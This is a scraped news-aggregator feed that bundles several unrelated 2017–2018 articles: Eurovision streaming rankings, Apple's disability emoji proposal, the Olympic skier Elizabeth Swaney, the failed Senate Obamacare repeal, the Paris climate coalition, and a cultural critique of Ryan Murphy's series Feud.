According to Amazon Music, Germany is actually the favourite to win with the most streams out of all the Eurovision entrants.

In second place is Italy’s act Ermal Meta e Fabrizio Moro, with Madame Monsieur from France in third place.

Interestingly, the UK’s entry SuRie is at number four and rounding off the top five is Jessica Mauboy from Australia.

The Eurovision Song Contest takes place on the 8, 10 and 12 May

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Apple proposes 13 new emojis representing users with disabilities https://briefnews.eu/apple-proposes-13-new-emojis-representing-users-with-disabilities/ https://briefnews.eu/apple-proposes-13-new-emojis-representing-users-with-disabilities/#respond Sun, 25 Mar 2018 09:40:04 +0000 http://briefnews.eu/apple-proposes-13-new-emojis-representing-users-with-disabilities/


At some point over the past five years, emojis evolved from a niche into an important form of communication — a point that hasn’t been lost on Apple. Having previously suggested new professions and diversity icons, the company today pitched the Unicode Consortium on a collection of 13 new emojis “to better represent individuals wi…Read More

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American halfpipe skier who didn’t perform a single trick gamed the system to qualify for the Olympics while representing Hungary https://briefnews.eu/american-halfpipe-skier-who-didnt-perform-a-single-trick-gamed-the-system-to-qualify-for-the-olympics-while-representing-hungary/ https://briefnews.eu/american-halfpipe-skier-who-didnt-perform-a-single-trick-gamed-the-system-to-qualify-for-the-olympics-while-representing-hungary/#respond Mon, 19 Feb 2018 22:54:48 +0000 http://briefnews.eu/american-halfpipe-skier-who-didnt-perform-a-single-trick-gamed-the-system-to-qualify-for-the-olympics-while-representing-hungary/ Elizabeth Marian Swaney

  • Elizabeth Swaney competed in the ladies’ ski halfpipe on Monday despite being unable to land any real tricks.
  • Swaney qualified for the Olympics through a loophole of sorts — athletes were required a number of top-30 finishes, so she would enter competitions with less than 30 athletes in the field, thus assuring the requirement would be met.
  • Swaney knows she isn’t on the same level as the top athletes in the competition, but hopes her Olympic campaign will inspire others to take up the sport.

Elizabeth Swaney can’t land a trick beyond a simple 180 in the halfpipe, but that didn’t stop her from becoming an Olympic athlete.

On Monday, Swaney competed in the ladies’ ski halfpipe, coming in last place with a high score of 31.4 after two runs down the halfpipe.

See the rest of the story at Business Insider

NOW WATCH: Why North Korea sent hundreds of cheerleaders to the Olympics

See Also:

SEE ALSO: The 34 best photos of the Winter Olympics so far

DON’T MISS: The rest of our Winter Olympics coverage

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US Senate attempt to repeal Obamacare fails, representing blow to President Trump https://briefnews.eu/us-senate-attempt-to-repeal-obamacare-fails-representing-blow-to-president-trump/ https://briefnews.eu/us-senate-attempt-to-repeal-obamacare-fails-representing-blow-to-president-trump/#respond Fri, 28 Jul 2017 06:09:34 +0000 http://briefnews.eu/us-senate-attempt-to-repeal-obamacare-fails-representing-blow-to-president-trump/

The US Senate has not supported a “skinny” repeal of the previous administration’s healthcare law, the Affordable Care Act (ACA), widely known as Obamacare.

The repeal failed by a narrow margin of 59-49. At least three Republicans voted “no,” including John McCain, Susan Collins, and Lisa Murkowski. The bill’s death in the Senate is seen as a blow to President Donald Trump. The US Senate Majority Leader Mitch McConnell (R-Kentucky) described the move as it as “a disappointing moment.”

The “no” vote followed long Senate debates on the controversial Health Care Freedom Act.

READ MORE: GOP splits further as ‘skinny’ Obamacare repeal may get rewritten in conference

Earlier, Republicans expressed concern that the “skinny” bill wasn’t ready to become law without further conferencing with the House. The bill suggested repealing Obamacare’s employer mandate until 2025 and cutting funding to abortion providers like Planned Parenthood for one year. 

A total of 16 million Americans could have been left uninsured if the lawmakers had passed the plan, according to Congressional Budget Office (CBO) estimates.

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A group representing $6.2 trillion of the US economy says they’re ‘still in’ the Paris climate agreement https://briefnews.eu/a-group-representing-6-2-trillion-of-the-us-economy-says-theyre-still-in-the-paris-climate-agreement/ https://briefnews.eu/a-group-representing-6-2-trillion-of-the-us-economy-says-theyre-still-in-the-paris-climate-agreement/#respond Mon, 05 Jun 2017 22:54:44 +0000 http://briefnews.eu/a-group-representing-6-2-trillion-of-the-us-economy-says-theyre-still-in-the-paris-climate-agreement/ Terry McAuliffeAP

A coalition of US economic, education, and local government leaders announced on Monday they will continue to abide by the Paris agreement regardless of America’s withdrawal, forming the We Are Still In movement.  The coalition represents 120 million Americans and $ 6.2 trillion of the US economy. 

In total, the group includes 125 cities, 9 states, 902 businesses and investors, and 183 colleges and universities. Over 20 of the businesses who signed on are Fortune 500 companies. 

The group penned an open letter on Monday, stating, “The Trump administration’s announcement undermines a key pillar in the fight against climate change and damages the world’s ability to avoid the most dangerous and costly effects of climate change. Importantly, it is also out of step with what is happening in the United States.”

The group declared it will pursue climate goals, “in the absence of leadership by Washington,” adding “it is local and state governments, along with businesses, that are primarily responsible for the dramatic decrease in greenhouse gas emissions in recent years. Actions by each group will multiply and accelerate in the years ahead, no matter what policies Washington may adopt.”

John ZimmerJohn Sciulli/Getty Images for LyftThe list of signatories includes familiar names like Apple, Google, Tesla, Target, eBay, Lyft, Adidas, Facebook, Nike, and other business giants. Participating states include California, Connecticut, North Carolina, Oregon, New York, Rhode Island, Virginia, Washington and Hawaii. 

Governor Terry McAuliffe of Virginia commented on his state’s participation in a press release, saying: “President Trump’s announcement to withdraw the United States from the Paris Climate Agreement does not speak for the states and cities that are committed to fighting climate change and paving the way for a new energy economy. If the federal government insists on abdicating leadership on this issue, it will be up to the American people to step forward — and in Virginia we are doing just that.”

Lyft CEO John Zimmer commented in a press release: “Collective action is a powerful force that will ensure the U.S. remains on track to meet and hopefully exceed the goals of the Paris Agreement. Lyft is proud to be part of this coalition and will be taking additional actions in the months and years ahead to ensure we do our part in addressing one of the greatest challenges of our time.”

Companies, investors, mayors and governors, and colleges and universities can sign up to join the movement on the website. A full list of signatories is available on the website as well.

donald trump climate parisREUTERS/Kevin Lamarque

Since President Trump’s announcement on June 1st that he plans to remove the US from the Paris agreement, 211 mayors have adopted the Paris Agreement goals for their cities, 13 Governors have joined to create the bipartisan U.S. Climate Alliance, and 17 governors have released statements standing by Paris, according to a press release from We Are Still In.

Trump said on June 1st that he would try to renegotiate a new Paris agreement deal for the US, something that European leaders — like France, Germany, and Italy — have been adamant will not happen. “We will see if we can make a deal that’s fair,” Trump said in his speech. “If we can, that’s great. And if we can’t, that’s fine.”

Read the full letter below:

We, the undersigned mayors, governors, college and university leaders, businesses, and investors are joining forces for the first time to declare that we will continue to support climate action to meet the Paris Agreement.

In December 2015 in Paris, world leaders signed the first global commitment to fight climate change. The landmark agreement succeeded where past attempts failed because it allowed each country to set its own emission reduction targets and adopt its own strategies for reaching them. In addition, nations – inspired by the actions of local and regional governments, along with businesses – came to recognize that fighting climate change brings significant economic and public health benefits.

The Trump administration’s announcement undermines a key pillar in the fight against climate change and damages the world’s ability to avoid the most dangerous and costly effects of climate change. Importantly, it is also out of step with what is happening in the United States.

In the U.S., it is local and state governments, along with businesses, that are primarily responsible for the dramatic decrease in greenhouse gas emissions in recent years. Actions by each group will multiply and accelerate in the years ahead, no matter what policies Washington may adopt.

In the absence of leadership from Washington, states, cities, colleges and universities, businesses and investors, representing a sizeable percentage of the U.S. economy will pursue ambitious climate goals, working together to take forceful action and to ensure that the U.S. remains a global leader in reducing emissions.

It is imperative that the world know that in the U.S., the actors that will provide the leadership necessary to meet our Paris commitment are found in city halls, state capitals, colleges and universities, investors and businesses. Together, we will remain actively engaged with the international community as part of the global effort to hold warming to well below 2°C and to accelerate the transition to a clean energy economy that will benefit our security, prosperity, and health.

NOW WATCH: The ‘alien megastructure’ star is acting weird, again, and it’s exactly what astronomers have been waiting for

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Representing Women https://briefnews.eu/representing-women/ https://briefnews.eu/representing-women/#respond Sun, 12 Mar 2017 09:45:08 +0000 http://briefnews.eu/representing-women/

Susan Sarandon as Bette Davis (left), Jessica Lange as Joan Crawford. Suzanne Tenner / FX

Ryan Murphy has created a new role for himself as an expert chronicler of scandalous episodes in tabloid history, with 2016’s award-winning miniseries The People v. O.J. Simpson: American Crime Story and FX’s newest Murphy installment, Feud: Bette and Joan, a fictionalized account of the reputed rivalry between stars Bette Davis and Joan Crawford. Whether the angle is crime or feuds, Murphy makes critically acclaimed miniseries by tackling the kind of stories that usually get ripped from tawdry headlines and churned out as melodramatic Lifetime movies.

What distinguishes his approach is the way he reinterprets these stories — after some time has passed — through a supposedly feminist lens that changes our understanding of the way they were originally told. Reviewers hailed the way he made a feminist hero out of the maligned Marcia Clark in the O.J. miniseries, and Vanity Fair has already called his retelling of the feud between Crawford and Davis fiercely feminist.

But the limitations of Murphy’s feminism, which works best when recuperating the image of marginalized white women, became evident in the shift from Crime to Feud. His reinterpretation of the Simpson case confronted widely held assumptions about the trial by ridiculing the fragility of the male egos on Simpson’s dream team, and making Marcia Clark the unquestionable moral winner of his version of the story. In contrast, Feud doesn’t question the basic premises of the narrative surrounding Davis and Crawford’s supposed antagonism. It focuses on two celebrated actresses — hardly in urgent need of reconsideration, unlike Clark — and compiles myths and gossip about them into a neat, verging-on-instructive narrative about women in Hollywood. It does little to radically alter our understanding of Davis and Crawford, and by relying on the concept of the female feud, Murphy ends up reproducing tired tropes that don’t challenge — or expand — representations of women.

Murphy’s approach to tabloid storytelling first became evident in the structure of The People v. O.J. Simpson. For many people the O.J. Simpson case was about the guilt or innocence of Simpson himself, but Murphy’s miniseries turned the trial into a story of numerous feuds, especially one between the defense team (centering on Johnnie Cochran) and the prosecution (centering on Marcia Clark). The difference between Cochran’s and Clark’s portrayals tells us where the story’s sympathies lie and exposes some of the limits of Murphy’s approach when race and gender intersect.

Despite its white feminist sympathies, The People v. O.J. Simpson worked because there isn’t one neat narrative through-line.

The show reconsiders — almost mocks — the role of the men in the story. While lawyers and courthouses are usually represented as spaces of masculine stoicism and rationality on television, Murphy’s version portrayed Simpson’s legal team as a parade of male divas, especially Robert Shapiro (played with campy gusto by John Travolta) and, perhaps the ultimate diva of them all, Johnnie Cochran (played by Courtney B. Vance).

Cochran is portrayed as a powerfully pragmatic user of racial politics, alternately driven by sincerity and ego. His wife kiddingly goads him into taking the case by reminding him that he’ll be upset if he sits on the sidelines and someone else gets Simpson off. Murphy “humanizes” Cochran by providing background scenes of him being racially profiled — even as an assistant district attorney — in a powerful moment where his daughters witness his humiliation by a police officer. But otherwise there is little sense of his vulnerability as a black man; he is mostly in control, and his ostensible goal — exposing police brutality — always seems compromised by his pursuit of media power and his expensive suits. When he’s accused of infidelity and domestic violence in the tabloids, it’s almost as if we’re meant to think of him as parallel to O.J.

In contrast, Clark is depicted as a saintly underdog: She’s not motivated by fame or money; there’s a purity to her purpose as she seeks justice, especially for Nicole Brown Simpson, whom she identifies with as a victim of rape. She is subjected to tabloid attacks questioning her professional competence, motherhood, looks, even her nude body, but she never wavers in her efforts. It makes sense that Sarah Paulson ultimately won the Best Actress Golden Globe and Emmy for her portrayal of Clark: In many ways, her role was the most powerfully revisionist aspect of Murphy’s story.

Despite its white feminist sympathies, The People v. O.J. Simpson worked because there wasn’t one neat narrative through-line. By shifting from the jurors to the media to people on the streets, the series gave us a flavor of how the race and gender issues raised by the O.J. case circulated through American culture at the time. In other words, this story covers not only the mechanics of the trial, but also how it was received and what it meant in terms of racial and gender politics in the country.

At first glance, the rivalry between Bette Davis and Joan Crawford appears to be a perfect candidate for Murphy’s approach. Instead of one maligned white woman, there are two; instead of a droning trial, the material is already inherently entertaining: a catty feud. But in a way, this is precisely the problem with the story: There appears to be no real urgency or reason to revisit the tale. Indeed, watching Feud makes it clear how much the racialized antagonism between Marcia Clark and Johnnie Cochran — and the opposition of white femininity and black masculinity — animated The People v. O.J. Simpson. Stripped of that multilayered drama, Murphy’s storytelling loses steam.

Feud chronicles the moment when Crawford (played by Jessica Lange) and Davis (played by Susan Sarandon) came together to revive their moribund careers through the 1962 camp classic What Ever Happened to Baby Jane? It unravels their backgrounds and trajectories to contextualize the story of how they were pitted against each other — by gossip columnists (namely Hedda Hopper), directors (particularly Robert Aldrich), and the studio system (in the form of studio head Jack Warner) throughout the making and aftermath of Baby Jane.

Early in the first episode, Catherine Zeta-Jones, playing Olivia de Havilland (a classic Hollywood actress who got embroiled in her own feud with her sister Joan Fontaine), gives us her theory about feuds in a “documentary” interview format that occasionally provides background for the show, acting as a kind of Greek chorus: In her view, feuds are never about hate. This also happens to be Murphy’s take on such battles. “Great feuds are never about being bitchy or anger, there’s always some huge amount of pain behind it,” he toldE! News. In many ways, this sentimental explanation of the causes of these conflicts explains Feud’s limits: the series doesn’t question the centrality of feuds as a metaphor for representing women, nor is it interested in clarifying what was gossip or myth. Indeed, the women in the faux documentary simply parrot Murphy’s own ideas about feuds, and this legendary one in particular.

The series takes the women’s antagonism at face value and “explains” it through their biographies. If some early reviewers noted that “a slight edge goes to Lange” in terms of performance, this is probably because Joan Crawford’s image was the one most in need of the kind of reconsideration that Murphy excels in. Her public narrative was forever altered by that other camp classic movie, Mommie Dearest, based on her daughter’s best-selling memoir about surviving Crawford’s abusive behavior. Feud is in part a reinterpretation of the way Crawford is remembered. We learn, in a conversation between her and Bette Davis, that Crawford was sexually abused by a stepfather and banished to a convent by her mother. Instead of the hysterical Mommie Dearest Crawford who screams at her daughter about wire hangers or forces her to eat raw meat, we get a less stringent, more caring Crawford who allows her younger daughters to assert their own agency by removing the preposterously girlish bows that she made them wear.

Joan Crawford and Bette Davis publicity portrait for the film What Ever Happened To Baby Jane?, 1962. Archive Photos / Getty Images

Murphy keeps saying in public that the series was not intended to be camp, but he is obviously intrigued by the campy catfight elements between Crawford and Davis. After Baby Jane became a success, Davis received an Academy Award nomination, but Crawford didn’t. Murphy clearly savored this depiction of Crawford’s campaign against Davis’s Oscar win, and her scheming to ensure that she — and not Davis — would end up on the stage to receive a statue: these maneuvers are carefully re-created down to the moment when Crawford has glitter sprinkled in her elegantly gray hair — in slow motion — to go with her sparkly dress.

In the traditional narrative of Hollywood history, Crawford was considered more of an image-conscious movie queen than an actor, while Davis was seen as a craft-driven thespian spurning Hollywood machinations, and that fundamental narrative remains intact in Feud. Crawford, for example, allies herself with Hedda Hopper (who has become as much an object of Hollywood nostalgia as any actress) to campaign against Davis’s Oscar nomination for the film, while Davis stays away from Hopper, considering her an enemy of women.

“I think people at first blush might think, ‘Oh, this show is glorifying women tearing each other apart,’” Murphy explains. “Actually, this show is condemning it, and trying to show women that’s not the way to go.” But by relying on the concept of the female feud, Murphy ends up reproducing many tropes that should probably be reconsidered. For example, after Crawford fails to get an Oscar nomination, the events at her house are framed as a horror show: Her loyal German maid, Mamacita, unhooks all the phones in the house and they beep in ominous unison; the scene ends with a shot of the house from outside as we hear her hysterical scream.

Further, the motivation for many fights gets reduced to the idea of one woman’s jealousy over another’s beauty: Davis and Crawford are shown using their joint powers to get a younger minor player in the movie fired; at another moment, Davis’s daughter, B.D. Hyman, accuses her mother of being jealous of her sexuality because her own moment has passed. In truth, Hyman, now a famous pastor who wrote a nasty tell-all about Davis, My Mother’s Keeper — followed by Christian self-help books about surviving controlling parents — also said that her mother encouraged her to experiment with her sexuality. Davis was upset that she’d been a virgin when she married and wanted something different for her daughter.

The series doesn’t question the centrality of feuds as a metaphor for representing women; nor is it interested in clarifying what was gossip or myth.

While Crime Story used the theater of the Simpson trial to explore race and gender in America, Feud isn’t interested in examining issues of gender through feuds. There are no insights into why such conflicts resonate so much, why the public likes to read about them, why people tend to think about women in opposition to each other, why feuds become symbols of larger questions. This is a top-down story of Hollywood production rather than consumption. Hopper seems to side with Crawford out of convenience because Davis refused to play her games, but there is no exploration of what they represented culturally to fans or to the public at the time.

As if to make up for this lack, the miniseries tacks on two subplots meant to convey a sense of history from below, perhaps as a way of giving the story larger cultural purchase. One involves Victor Buono, a closeted gay actor on Baby Jane who gets arrested during a raid at a gay cinema. Davis pays his bail and brings him back to her place, where they joke about how she’s a camp icon for gay men. There is a touching quality to the scene, but Buono simply ends up serving as an audience for Davis’s monologue about her daughter, and it becomes clear he is being used only to depict Davis’s compassion and her knowledge about gay audiences.

Another subplot involves Mamacita, Crawford’s loyal maid, and director Robert Aldrich’s assistant. The two women in service of powerful figures come together as Mamacita helps the assistant get a new movie script to Crawford that the assistant might direct. After Crawford rejects it, Mamacita tells the assistant: Soon women will be the biggest consumer of movies and female directors an inevitability. It’s hard to tell whether this subplot was meant as an ironic commentary on how that never came to pass, or the kind of smug historicism that somehow makes misogyny seem like a sin of the past. Either way, it fails to tell us anything new about Crawford or Davis or the cultural implications of their antagonism.

Susan Sarandon, Ryan Murphy, and Jessica Lange. Rabbani And Solimene Photography / Getty Images

Murphy likes to say things haven’t changed much for women (especially older women) in Hollywood, implying that he’s making a difference by making a space for them. But his roles for older women haven’t changed things much either. Lange herself first entered the Murphy universe in American Horror Story, playing a glamorous and creepy Southern belle bent on avenging her husband’s infidelity — not so different from Bette Davis’s role as Baby Jane or even Sunset Boulevard’s Norma Desmond. (Recently Glenn Close returned to Broadway by reprising her role as Desmond, another delusionally grotesque diva who turns into a scandalous horror show.) It’s almost as if women of a certain age can only find roles as delusional and gothic spectacles of hysteria or lack of self-awareness.

But all the jokes in Feud comparing Crawford and Davis’s pettiness to masculine battles and war seem to have lost currency at a moment when the pettiest aging diva of all is in the White House. Is Donald Trump not Norma Desmond — a septuagenarian drama queen obsessed with his self-image, looking for new screens that will tell him how handsome and big-handed he is? A drag queen version of Feud with Trump might be a more scathing commentary on gender than Murphy’s vaguely revisionist account.

When reality is more interesting than our fantasies, it’s time to find new stories to tell, and Feud reminds us that only so much change can be accomplished by continuing to reproduce existing narratives. Though we tend to think of scandal as a form of boundary-breaking, only certain figures are even allowed to break the boundaries that will then allow for the reconsiderations that Murphy undertakes. The forthcoming installments of Feud and American Crime Story will feature the type of scandalous white woman Murphy loves: Monica Lewinsky and Princess Diana. Tellingly, the only woman of color depicted in the recent wave of ’90s nostalgic scandal television was Anita Hill, in HBO’s Confirmation. But as a Slate critic noted, in contrast to the antics and diva fits allowed of scandalous white women: “She is a paragon of decency, strength and thoughtfulness throughout. If she is anything more human than a saint in real life, this movie won’t tell.”

In her recent Oscars speech, Viola Davis exhorted writers to turn to graveyards to exhume the stories of people whose dreams never came true. While Murphy turned to the graveyard for this first installment of Feud, he has exhumed women who have been celebrated — and endlessly reconsidered — by American culture in both life and death. It is time to uncover untold stories that will highlight important intersections, illuminate new angles, perhaps even create new metaphors, to represent the complexities of scandalously difficult — or scandalously erased — women’s perspectives.














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